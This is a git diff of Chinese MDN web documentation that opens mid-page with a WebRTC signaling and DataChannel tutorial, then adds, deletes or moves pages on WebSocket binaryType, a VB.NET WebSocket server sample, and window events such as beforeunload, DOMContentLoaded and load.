现在我们有了 ICE 候选,然后需要将它发送到我们的另一端,以让它知道如何跟我们建立连接。然而,现在有一个先有鸡还是先有蛋的问题。我们想要 PeerConnection 发送数据到另一端,但是在那之前我们需要先把元数据发送过去……

- -

现在就是用到信令通道(Signal Channel)的时候了。它的任何一个数据传输方法都允许两个端点之间交换信息。在本文中,我们将使用 FireBase。因为它设置起来灰常简单,并且不需要任何主机或者服务器端的代码编写。

- -

现在我们想象只有两个两个方法:send(), 它将使用一个键,然后将数据赋值给它;recv() ,当一个键有值的时候会调用一个处理函数。

- -

数据库的结构就像下面这样:

- -
{
-    "": {
-        "candidate:": …
-        "offer": …
-        "answer": …
-    }
-}
- -

连接会被 roomId 分割,然后会保存四条信息:发起者 (oferer) 的 ICE 候选、应答者 (answerer) 的 ICE 候选、offer SDP 和 answer SDP.

- -

Offer

- -

Offer SDP 是用来向另一端描述期望格式(视频, 格式, 解编码, 加密, 解析度, 尺寸 等等)的元数据。

- -

一次信息的交换需要从一端拿到 offer,然后另外一端接受这个 offer 然后返回一个 answer。

- -
pc.createOffer(function (offer) {
-    pc.setLocalDescription(offer, function() {
-        send("offer", JSON.stringify(pc.localDescription));
-    }, errorHandler);
-}, errorHandler, options);
- -

errorHandler

- -

创建 offer 的过程如果出现问题,就会执行这个函数,并且将错误的详细信息作为第一个参数。

- -
var errorHandler = function (err) {
-    console.error(err);
-};
- -

options

- -

Offer SDP 的选项.

- -
var options = {
-    offerToReceiveAudio: true,
-    offerToReceiveVideo: true
-};
- -

offerToReceiveAudio/Video 告诉另一端,你想接收视频还是音频。对于 DataChannel 来说,这些是不需要的。

- -

offer 创建好之后,我们必须将本地 SDP 设置进去,然后通过信令通道将它发送到另一端,之久就静静地等待另一端的 Answer SDP 吧.

- -

Answer

- -

Answer SDP 跟 offer 是差不多的,只不过它是作为相应的。有点像接电话一样。我们只能在接收到 offer 的时候创建一次 Answer.

- -
recv("offer", function (offer) {
-    offer = new SessionDescription(JSON.parse(offer))
-    pc.setRemoteDescription(offer);
-
-    pc.createAnswer(function (answer) {
-        pc.setLocalDescription(answer, function() {
-            send("answer", JSON.stringify(pc.localDescription));
-        }, errorHandler);
-    }, errorHandler);
-});
- -

DataChannel

- -

我将首先阐述如何将 PeerConnection 用在 DataChannels API 上,并且如何在 peers 之间传输任意数据。

- -

注意:撰写这篇文章的时候,DataChannels 在 Chrome 和 Firefox 之间是无法互用的。Chrome 支持了一个类似的私有协议,这个协议将在不久被标准协议支持。

- -
var channel = pc.createDataChannel(channelName, channelOptions);
- -

offer 的创建者和 channel 的创建者应该是同一个 peer。 answer 的创建者将在 PeerConnection 的 ondatachannel 回调中接收到 这个 channel。你必须在创建了这个 offer 之后立即调用 createDataChannel()。

- -

channelName

- -

这个字符串会作为 channel 名字的标签。注意:确保你 Channel 的名字中没有空格,否则在 Chrome 中调用 createAnswer() 将会失败。

- -

channelOptions

- -
var channelOptions = {};
- -

当前 Chrome 还不支持这些选项,所以你可以将这些选项留空。检查 RFC 以获取更多关于这些选项的信息。

- -

Channel 事件和方法

- -

onopen

- -

当连接建立的时候会被执行。

- -

onerror

- -

连接创建出错时执行。第一个参数是一个 error 对象。

- -
channel.onerror = function (err) {
-    console.error("Channel Error:", err);
-};
- -

onmessage

- -
channel.onmessage = function (e) {
-    console.log("Got message:", e.data);
-}
- -

这是连接的核心。当你接收到消息的时候,这个方法会执行。第一个参数是一个包含了数据、接收时间和其它信息的 event 对象。

- -

onclose

- -

当连接关闭的时候执行。

- -

绑定事件

- -

如果你是这个 channel 的创建者(offerer), 你可以直接在通过 createChannel 创建的 DataChannel 上绑定事件。如果你是 answerer 你必须使用 PeerConnection 的 ondatachannel 回调去访问这个 channel。

- -
pc.ondatachannel = function (e) {
-    e.channel.onmessage = function () { … };
-};
- -

这个 channel 可以在传递到回调函数中的 event 对象中以 e.channel 的方式访问。

- -

send()

- -
channel.send("Hi Peer!");
- -

这个方法允许你直接传递数据到 peer!令人惊奇。你必须传递确保传递的数据是 String, Blob, ArrayBuffer 或者 ArrayBufferView 中的一种类型,所以,确保字符串化对象。

- -

close()

- -

在连接应该中止的时候关闭 channel。推荐在页面卸载的时候调用。

- -

Media

- -

现在我们将会涉及到如何传递诸如音视频的媒体的话题。要显示音视频,你必须在文档中加入包含 autoplay 属性的  <video> 标签。

- -

Get User Media

- -
<video id="preview" autoplay></video>
-
-var video = document.getElementById("preview");
-navigator.getUserMedia(constraints, function (stream) {
-    video.src = URL.createObjectURL(stream);
-}, errorHandler);
- -

constraints

- -

约定你想从用户获取到的媒体类型。

- -
var constraints = {
-    video: true,
-    audio: true
-};
- -

如果你只想进行音频聊天,移除 video 成员。

- -

errorHandler

- -

当返回请求的媒体错误时被调用

- -

Media Events and Methods

- -

addStream

- -

将从 getUserMedia 返回的流加入 PeerConnection。

- -
pc.addStream(stream);
- -

onaddstream

- -
<video id="otherPeer" autoplay></video>
-
-var otherPeer = document.getElementById("otherPeer");
-pc.onaddstream = function (e) {
-    otherPeer.src = URL.createObjectURL(e.stream);
-};
- -

当连接建立并且其它的 peer 通过 addStream 将流加入到了连接中时会被调用。你需要另外的 <video> 标签去显示其它 peer 的媒体。

- -

第一个参数是包含了其它 peer 流媒体的 event 对象。

diff --git a/files/zh-cn/web/api/websocket/binarytype/index.html b/files/zh-cn/web/api/websocket/binarytype/index.html new file mode 100644 index 0000000000..aad8e48fc2 --- /dev/null +++ b/files/zh-cn/web/api/websocket/binarytype/index.html @@ -0,0 +1,56 @@ +--- +title: WebSocket.binaryType +slug: Web/API/WebSocket/二进制类型 +tags: + - 参考 + - 属性 + - 应用编程接口 + - 网页套接字 + - 网页接口 +translation_of: Web/API/WebSocket/binaryType +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

+ +

语法

+ +
var binaryType = aWebSocket.binaryType;
+ +

返回值

+ +

 一条{{DOMXref("DOMString")}}:

+ +
+
"blob"
+
如果传输的是 {{domxref("Blob")}} 类型的数据。
+
"arraybuffer"
+
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 +

 

+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.binaryType")}}

diff --git "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" "b/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" deleted file mode 100644 index aad8e48fc2..0000000000 --- "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: WebSocket.binaryType -slug: Web/API/WebSocket/二进制类型 -tags: - - 参考 - - 属性 - - 应用编程接口 - - 网页套接字 - - 网页接口 -translation_of: Web/API/WebSocket/binaryType ---- -

{{APIRef("Web Sockets API")}}

- -

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

- -

语法

- -
var binaryType = aWebSocket.binaryType;
- -

返回值

- -

 一条{{DOMXref("DOMString")}}:

- -
-
"blob"
-
如果传输的是 {{domxref("Blob")}} 类型的数据。
-
"arraybuffer"
-
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 -

 

-
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.WebSocket.binaryType")}}

diff --git a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index 3969f9c5ea..0000000000 --- a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -

{{gecko_minversion_header("2")}}{{draft}}

- -

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
-
- 当前版本:

- - - -

 

- -
Imports System.Net.Sockets
-Imports System.Net
-Imports System
-Imports System.Text
-Imports System.Text.RegularExpressions
-
-
-Namespace TypeDef.WebSocket
-
-    Public Class Client
-        Dim _TcpClient As System.Net.Sockets.TcpClient
-
-        Public Delegate Sub OnClientDisconnectDelegateHandler()
-        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
-
-
-        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
-            Me._TcpClient = tcpClient
-        End Sub
-
-
-        Function isConnected() As Boolean
-            Return Me._TcpClient.Connected
-        End Function
-
-
-        Sub HandShake()
-            Dim stream As NetworkStream = Me._TcpClient.GetStream()
-            Dim bytes As Byte()
-            Dim data As String
-
-            While Me._TcpClient.Connected
-                While (stream.DataAvailable)
-                    ReDim bytes(Me._TcpClient.Client.Available)
-                    stream.Read(bytes, 0, bytes.Length)
-                    data = System.Text.Encoding.UTF8.GetString(bytes)
-
-                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
-
-                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
-
-                        stream.Write(response, 0, response.Length)
-                        Exit Sub
-                    Else
-                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
-                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
-                    End If
-                End While
-            End While
-            RaiseEvent onClientDisconnect()
-        End Sub
-
-
-        Sub CheckForDataAvailability()
-            If (Me._TcpClient.GetStream().DataAvailable) Then
-                Dim stream As NetworkStream = Me._TcpClient.GetStream()
-                Dim frameCount = 2
-                Dim bytes As Byte()
-                Dim data As String
-                ReDim bytes(Me._TcpClient.Client.Available)
-                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
-
-                Try
-                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
-
-                    If length > -1 Then
-                        If length = 126 Then
-                            length = 4
-                        ElseIf length = 127 Then
-                            length = 10
-                        End If
-                    End If
-
-                    'the following is very inefficient and likely unnecessary..
-                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
-
-                    Dim value As Integer = bytes(0)
-                    Dim bitArray As BitArray = New BitArray(8)
-
-                    For c As Integer = 0 To 7 Step 1
-                        If value - (2 ^ (7 - c)) >= 0 Then
-                            bitArray.Item(c) = True
-                            value -= (2 ^ (7 - c))
-                        Else
-                            bitArray.Item(c) = False
-                        End If
-                    Next
-
-
-                    Dim FRRR_OPCODE As String = ""
-
-                    For Each bit As Boolean In bitArray
-                        If bit Then
-                            FRRR_OPCODE &= "1"
-                        Else
-                            FRRR_OPCODE &= "0"
-                        End If
-                    Next
-
-
-                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
-                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
-                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
-                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
-                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
-
-
-
-                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
-                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
-
-                    Dim j As Integer = 0
-                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
-                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
-                        j += 1
-                    Next
-
-
-
-                    Select Case opCode
-                        Case Is = 1
-                            'Text Data Sent From Client
-
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            'handle this data
-
-                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
-                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
-                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
-
-
-                            Dim ResponseData As Byte()
-                            ReDim ResponseData((header.length + Payload.Length) - 1)
-                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
-                            'which tells the client that your next stream write will be a continuation frame..
-
-                            Dim index as integer = 0
-
-                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
-                            index += header.length
-
-                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
-                            index += payload.length
-                            stream.Write(ResponseData, 0, ResponseData.Length)
-                      Case Is = 2
-                            '// Binary Data Sent From Client
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
-                             stream.Write(response, 0, response.Length)
-                      Case Is = 9 '// Ping Sent From Client
-                      Case Is = 10 '// Pong Sent From Client
-                      Case Else '// Improper opCode.. disconnect the client
-                            _TcpClient.Close()
-                            RaiseEvent onClientDisconnect()
-                      End Select
-                Catch ex As Exception
-                    _TcpClient.Close()
-                    RaiseEvent onClientDisconnect()
-                End Try
-            End If
-        End Sub
-    End Class
-
-
-
-    Public Class Server
-        Inherits System.Net.Sockets.TcpListener
-
-        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
-        Event OnClientConnect As OnClientConnectDelegate
-
-
-        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
-        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
-        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
-
-
-
-        Sub New(ByVal url As String, ByVal port As Integer)
-            MyBase.New(IPAddress.Parse(url), port)
-        End Sub
-
-
-        Sub startServer()
-            Me.Start()
-            PendingCheckTimer.Start()
-        End Sub
-
-
-
-        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
-            Me.ClientCollection.Add(client)
-            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
-            client.HandShake()
-            ClientDataAvailableTimer.Start()
-        End Sub
-
-
-        Sub Client_Disconnected()
-
-        End Sub
-
-
-        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
-            isClientDisconnected = False
-            If Not client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
-            isClientConnected = False
-            If client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
-            If Pending() Then
-                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
-            End If
-        End Sub
-
-
-        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
-            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
-            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
-
-            For Each Client As WebSocket.Client In Me.ClientCollection
-                Client.CheckForDataAvailability()
-            Next
-        End Sub
-    End Class
-End Namespace
-
-Sub Main()  'Program Entry point
-    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
-    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
-    thread.Start()
-End Sub
-
-Public Shared WebSocketServer As TypeDef.WebSocket.Server
-Public Shared Sub StartWebSocketServer()
-    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
-    WebSocketServer.startServer()
-End Sub
-
diff --git a/files/zh-cn/web/api/window/afterprint_event/index.html b/files/zh-cn/web/api/window/afterprint_event/index.html new file mode 100644 index 0000000000..3ee72441cd --- /dev/null +++ b/files/zh-cn/web/api/window/afterprint_event/index.html @@ -0,0 +1,102 @@ +--- +title: afterprint +slug: Web/Events/afterprint +translation_of: Web/API/Window/afterprint_event +--- +

在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

例子

+ +

使用 addEventListener():

+ +
window.addEventListener('afterprint', (event) => {
+  console.log('After print');
+});
+ +

使用 onafterprint 时间监听属性:

+ +
window.onafterprint = (event) => {
+  console.log('After print');
+};
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-afterprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.afterprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeprint_event/index.html b/files/zh-cn/web/api/window/beforeprint_event/index.html new file mode 100644 index 0000000000..fe9480238a --- /dev/null +++ b/files/zh-cn/web/api/window/beforeprint_event/index.html @@ -0,0 +1,100 @@ +--- +title: beforeprint +slug: Web/Events/beforeprint +translation_of: Web/API/Window/beforeprint_event +--- +

当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标 (DOM 树中的最顶层目标)
type {{readonlyInline}}{{domxref("DOMString")}}时间类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
+ +

样例

+ +

使用 addEventListener()

+ +
window.addEventListener('beforeprint', (event) => {
+  console.log('Before print');
+});
+ +

使用 onbeforeprint 事件监听属性:

+ +
window.onbeforeprint = (event) => {
+  console.log('Before print');
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-beforeprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeunload_event/index.html b/files/zh-cn/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..9cef2f2cfc --- /dev/null +++ b/files/zh-cn/web/api/window/beforeunload_event/index.html @@ -0,0 +1,104 @@ +--- +title: 'Window: beforeunload event' +slug: Web/Events/beforeunload +tags: + - Event + - Window + - beforeunload + - 事件 + - 参考 +translation_of: Web/API/Window/beforeunload_event +--- +

当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableYes
Interface{{domxref("Event")}}
Event handler property{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

事件使网页能够触发一个确认对话框,询问用户是否真的要离开该页面。如果用户确认,浏览器将导航到新页面,否则导航将会取消。

+ +

根据规范,要显示确认对话框,事件处理程序需要在事件上调用{{domxref("Event.preventDefault()", "preventDefault()")}}。

+ +

但是请注意,并非所有浏览器都支持此方法,而有些浏览器需要事件处理程序实现两个遗留方法中的一个作为代替:

+ + + +

某些浏览器过去在确认对话框中显示返回的字符串,从而使事件处理程序能够向用户显示自定义消息。但是,此方法已被弃用,并且在大多数浏览器中不再支持。

+ +

为避免意外弹出窗口,除非页面已与之交互,否则浏览器可能不会显示在beforeunload事件中创建的提示,甚至根本不会显示它们。

+ +

将事件处理程序/监听器加到window或 documentbeforeunload事件后,将阻止浏览器使用内存中的页面导航缓存,例如Firefox的Back-Forward缓存WebKit的Page Cache

+ +

HTML规范指出在此事件中调用{{domxref("window.alert()")}},{{domxref("window.confirm()")}}以及{{domxref("window.prompt()")}}方法,可能会失效。更多详细信息,请参见HTML规范

+ +

示例

+ +

HTML规范指出作者应该使用 {{domxref("Event.preventDefault()")}} 而非 {{domxref("Event.returnValue")}},然而,不是所有浏览器都支持这么做。

+ +
window.addEventListener('beforeunload', (event) => {
+  // Cancel the event as stated by the standard.
+  event.preventDefault();
+  // Chrome requires returnValue to be set.
+  event.returnValue = '';
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/blur/index.html b/files/zh-cn/web/api/window/blur/index.html new file mode 100644 index 0000000000..0aebdbb367 --- /dev/null +++ b/files/zh-cn/web/api/window/blur/index.html @@ -0,0 +1,39 @@ +--- +title: Window.blur() +slug: Web/API/Window/Window.blur() +translation_of: Web/API/Window/blur +--- +

{{APIRef}}

+ +

总结

+ +

将焦点移出顶层窗口。

+ +

语法

+ +
window.blur()
+ +

示例

+ +
window.blur();
+ +

注意

+ +

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/window/clearinterval/index.html b/files/zh-cn/web/api/window/clearinterval/index.html deleted file mode 100644 index 9a2d6e1790..0000000000 --- a/files/zh-cn/web/api/window/clearinterval/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: WindowTimers.clearInterval() -slug: Web/API/Window/clearInterval -tags: - - API - - WindowOrWorkerGlobalScope - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval ---- -
{{ApiRef("HTML DOM")}}
- -

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

- -

语法

- -
scope.clearInterval(intervalID)
-
- -

Parameters

- -
-
intervalID
-
要取消的定时器的 ID。是由 setInterval() 返回的。
-
- -

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

- -

返回值

- -

{{jsxref("undefined")}}

- -

示例

- -

查看 setInterval() 的示例

- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/window/domcontentloaded_event/index.html b/files/zh-cn/web/api/window/domcontentloaded_event/index.html new file mode 100644 index 0000000000..67c6a44253 --- /dev/null +++ b/files/zh-cn/web/api/window/domcontentloaded_event/index.html @@ -0,0 +1,128 @@ +--- +title: DOMContentLoaded +slug: Web/Events/DOMContentLoaded +tags: + - DOMContentLoaded + - Window.open() + - load + - window.onload +translation_of: Web/API/Window/DOMContentLoaded_event +--- +

当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

+ +

模拟的css文件:CSS.php

+ +
<?php
+sleep(3);
+ +

测试代码:

+ +
<link rel="stylesheet" href="css.php">
+<script>
+document.addEventListener('DOMContentLoaded',function(){
+    console.log('3 seconds passed');
+});
+</script>
+ +

如果将link置于script之后,就会立即打印。

+ +

{{Note("同步 JavaScript 会暂停 DOM 的解析。")}}

+ +

{{Note("还有许多通用和独立的库提供跨浏览器方法来检测 DOM 是否已准备就绪")}}

+ +

加速中

+ +

如果您希望 DOM 在用户请求页面后尽可能快地解析,你可以做的一些事情是把你的 JavaScript 异步化 以及 优化样式表的加载, 由于被并行加载而减慢页面加载,从主 html 文档“窃取”流量。

+ +

常规信息

+ +
+
规范
+
HTML5
+
接口
+
Event
+
是否冒泡
+
+
能否取消
+
能 (尽管一个简单的事件被指定为不可取消)
+
目标
+
Document
+
默认行为
+
无.
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
+ +

示例

+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+</script>
+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+
+  for(var i=0; i<1000000000; i++){
+      // 这个同步脚本将延迟DOM的解析。
+      // 所以DOMContentLoaded事件稍后将启动。
+  } 
+</script>
+ +

浏览器兼容性

+ +

{{Compat("api.Window.DOMContentLoaded_event")}}

+ +

至少从Gecko 1.9.2,Chrome 6,以及Safari 4开始,就已经实现了该事件的冒泡行为.

+ +

兼容不支持该事件的浏览器

+ +

在IE8中,可以使用readystatechange事件来检测DOM文档是否加载完毕.在更早的IE版本中,可以通过每隔一段时间执行一次document.documentElement.doScroll("left")来检测这一状态,因为这条代码在DOM加载完毕之前执行时会抛出错误(throw an error)。

+ +

诸如jQuery这样的通用JS库,会提供跨浏览器的方法来检测DOM是否加载完成。也有其他专门实现该功能的脚本:contentloaded.js (只能添一个时间监听函数)以及jquery.documentReady.js (并不依赖jQuery,虽然名字中有jquery).

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/getattention/index.html b/files/zh-cn/web/api/window/getattention/index.html deleted file mode 100644 index f17531eb18..0000000000 --- a/files/zh-cn/web/api/window/getattention/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Window.getAttention() -slug: Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention ---- -
{{ ApiRef() }}
- -

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

- -

语法

- -
window.getAttention();
-
- -

Notes

- -

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

- -

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

- -

On Macintosh, the icon in the upper right corner of the desktop flashes.

- -

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

- -

Specification

- -

DOM Level 0. Not part of specification.

- -

Browser compatibility

- - - -

{{Compat("api.Window.getAttention")}}

diff --git a/files/zh-cn/web/api/window/load_event/index.html b/files/zh-cn/web/api/window/load_event/index.html new file mode 100644 index 0000000000..5cfb7b075f --- /dev/null +++ b/files/zh-cn/web/api/window/load_event/index.html @@ -0,0 +1,161 @@ +--- +title: load +slug: Web/Events/load +tags: + - load +translation_of: Web/API/Window/load_event +--- +

{{APIRef}}

+ +

当整个页面及所有依赖资源如样式表和图片都已完成加载时,将触发load事件。

+ +

它与{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}不同,后者只要页面DOM加载完成就触发,无需等待依赖资源的加载。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
能否取消
接口{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onload", "onload")}}
+ +

用法

+ +

当页面及资源完全加载后在控制台打印一段信息:

+ +
window.addEventListener('load', (event) => {
+  console.log('page is fully loaded');
+});
+ +

也可以使用onload实现:

+ +
window.onload = (event) => {
+  console.log('page is fully loaded');
+};
+ +

示例

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
